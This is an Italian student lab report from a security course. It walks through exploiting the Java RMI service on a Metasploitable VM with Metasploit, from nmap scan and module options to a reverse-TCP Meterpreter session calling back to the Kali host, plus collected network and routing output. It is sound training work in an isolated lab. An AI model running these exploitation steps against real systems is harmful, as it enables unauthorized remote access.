

LABORATORIO 24 GENNAIO 2025 S7-L5

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099-Java RMI, Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.77.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.77.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 1. Configurazione di rete.
 2. Informazioni sulla tabella di routing della macchina vittima.

Iniziamo avviando le macchine virtuali di Kali e Metasploitable e configuriamo gli indirizzi IP.

Dobbiamo impostare rispettivamente:

- Kali: 192.168.77.111
- Metasploitable: 192.168.77.112

Utilizzeremo su entrambe le macchine il comando: **sudo ifconfig eth0 (IP).**

```
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.77.112
[sudo] password for msfadmin:
Sorry, try again.
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3f:28:90
          inet addr:192.168.77.112  Bcast:192.168.77.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3f:2890/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:0 dropped:0 overruns:0 frame:0
          TX packets:85 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:448 (448.0 B)  TX bytes:8251 (8.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:136 errors:0 dropped:0 overruns:0 frame:0
          TX packets:136 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33629 (32.8 KB)  TX bytes:33629 (32.8 KB)

msfadmin@metasploitable:~$ _
```

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::3ade:9ec0:6541:130e/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
(kali㉿kali)-[~]
$ sudo ifconfig eth0 192.168.77.111
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:ff:ff:ff
    inet 192.168.77.111/24 brd 192.168.77.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::3ade:9ec0:6541:130e/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Controlliamo che ci sia comunicazione tra le macchine effettuando un reciproco ping:

```
msfadmin@metasploitable:~$  
msfadmin@metasploitable:~$ ping 192.168.77.111  
PING 192.168.77.111 (192.168.77.111) 56(84) bytes of data.  
64 bytes from 192.168.77.111: icmp_seq=1 ttl=64 time=0.406 ms  
64 bytes from 192.168.77.111: icmp_seq=2 ttl=64 time=0.482 ms  
64 bytes from 192.168.77.111: icmp_seq=3 ttl=64 time=0.411 ms  
64 bytes from 192.168.77.111: icmp_seq=4 ttl=64 time=0.464 ms  
64 bytes from 192.168.77.111: icmp_seq=5 ttl=64 time=0.464 ms  
  
--- 192.168.77.111 ping statistics ---  
5 packets transmitted, 5 received, 0% packet loss, time 3996ms  
rtt min/avg/max/mdev = 0.406/0.445/0.482/0.036 ms  
msfadmin@metasploitable:~$
```

```
(kali@kali)-[~]  
$ ping 192.168.77.112  
PING 192.168.77.112 (192.168.77.112) 56(84) bytes of data.  
64 bytes from 192.168.77.112: icmp_seq=1 ttl=64 time=0.391 ms  
64 bytes from 192.168.77.112: icmp_seq=2 ttl=64 time=0.560 ms  
64 bytes from 192.168.77.112: icmp_seq=3 ttl=64 time=0.486 ms  
64 bytes from 192.168.77.112: icmp_seq=4 ttl=64 time=0.426 ms  
^C  
--- 192.168.77.112 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3079ms  
rtt min/avg/max/mdev = 0.391/0.465/0.560/0.064 ms
```

Effettuiamo ora una scansione con nmap sul target metasploitable per controllare lo stato della porta 1099.

```
(kali@kali)-[~]  
$ nmap -p 1099 192.168.77.112  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 03:13 EST  
Nmap scan report for 192.168.77.112  
Host is up (0.00049s latency).  
  
PORT      STATE SERVICE  
1099/tcp  open  rmiregistry  
MAC Address: 08:00:27:3F:28:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Nmap done: 1 IP address (1 host up) scanned in 13.20 seconds
```

Avviamo il tool Metasploit Framework con il comando **msfconsole** sul terminale di Kali.

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: Search can apply complex filters such as search cve:2009  
type:exploit, see all the filters with help search  
  
/ it looks like you're trying to run a \  
/ module term \  
  
┌───┐  
│ @ | @ |  
│ || ||  
│ || ||  
└───┘  
  
eserciziC  
+ -- ==[ metasploit v6.4.38-dev ]  
+ -- ==[ 2467 exploits - 1273 auxiliary - 431 post ]  
+ -- ==[ 1478 payloads - 49 encoders - 13 nops ]  
+ -- ==[ 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/
```

Cerchiamo i moduli adatti con il comando **search java_rmi** e vediamo che ci restituirà varie opzioni. Andremo a scegliere quella che riteniamo più opportuna, ovvero la numero 1 che ha ranking Excelent e check Yes. Queste indicazioni ci lasciano supporre che si tratti del miglior modulo tra quelli possibili.

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -             -      -      -
0  auxiliary/gather/java_rmi_registry        .              normal  No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15     excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2    \ target: Generic (Java Payload)        .              .      .      .
3    \ target: Windows x86 (Native Payload)  .              .      .      .
4    \ target: Linux x86 (Native Payload)    .              .      .      .
5    \ target: Mac OS X PPC (Native Payload) .              .      .      .
6    \ target: Mac OS X x86 (Native Payload) .              .      .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15     normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
```

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > 
```

Andiamo a verificare le opzioni ed i campi da modificare, come LHOST, RHOST, porte e payload.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT     1099           yes       The target port (TCP)
SRVHOST   0.0.0.0        yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080           yes       The local port to listen on.
SSL       false          no        Negotiate SSL for incoming connections
SSLCert   Path to a custom SSL certificate (default is randomly generated)
URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.77.111  yes       The listen address (an interface may be specified)
LPORT     4444           yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```

I campi LHOST e RPORT sono già inseriti automaticamente. L'unico campo richiesto è quello del RHOST ovvero l'IP della macchina target. Andiamo a settarlo.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.77.112
RHOST => 192.168.77.112
```

Controlliamo la buona riuscita della modifica.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10               yes       Time that the HTTP
  RHOSTS    192.168.77.112  yes       The target host(s),
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or n
  SRVPORT   8080             yes       The local port to l
  SSL       false            no        Negotiate SSL for i
  SSLCert                   no        Path to a custom SS
  URIPATH                   no        The URI to use for

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.77.111  yes       The listen address (an
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Il payload di default è di tipo reverse.tcp (java/meterpreter/reverse/tcp), ciò significa che la connessione sarà iniziata dalla macchina target con possibilità minore di essere bloccati da un eventuale firewall che impedisce il traffico in entrata.

A questo punto possiamo lanciare l'**exploit**:

```

msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.77.111:4444
[*] 192.168.77.112:1099 - Using URL: http://192.168.77.111:8080/dXzJkLP1pr5
[*] 192.168.77.112:1099 - Server started.
[*] 192.168.77.112:1099 - Sending RMI Header ...
[*] 192.168.77.112:1099 - Sending RMI Call ...
[*] 192.168.77.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.77.112
[*] Meterpreter session 1 opened (192.168.77.111:4444 → 192.168.77.112:42249) at 2025-01-24 04:47:35 -0500

meterpreter >

```

L'exploit è andato a buon fine e la sessione di meterpreter è stata aperta.

Possiamo navigare nella shell per raccogliere, come richiesto dall'esercizio, la configurazione di rete e la tabella di routing del target.

```

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.77.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe3f:2890
IPv6 Netmask : ::

meterpreter >

```

```

meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            eth0
192.168.77.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            eth0
fe80::a00:27ff:fe3f:2890 ::           ::           0            eth0
meterpreter >

```

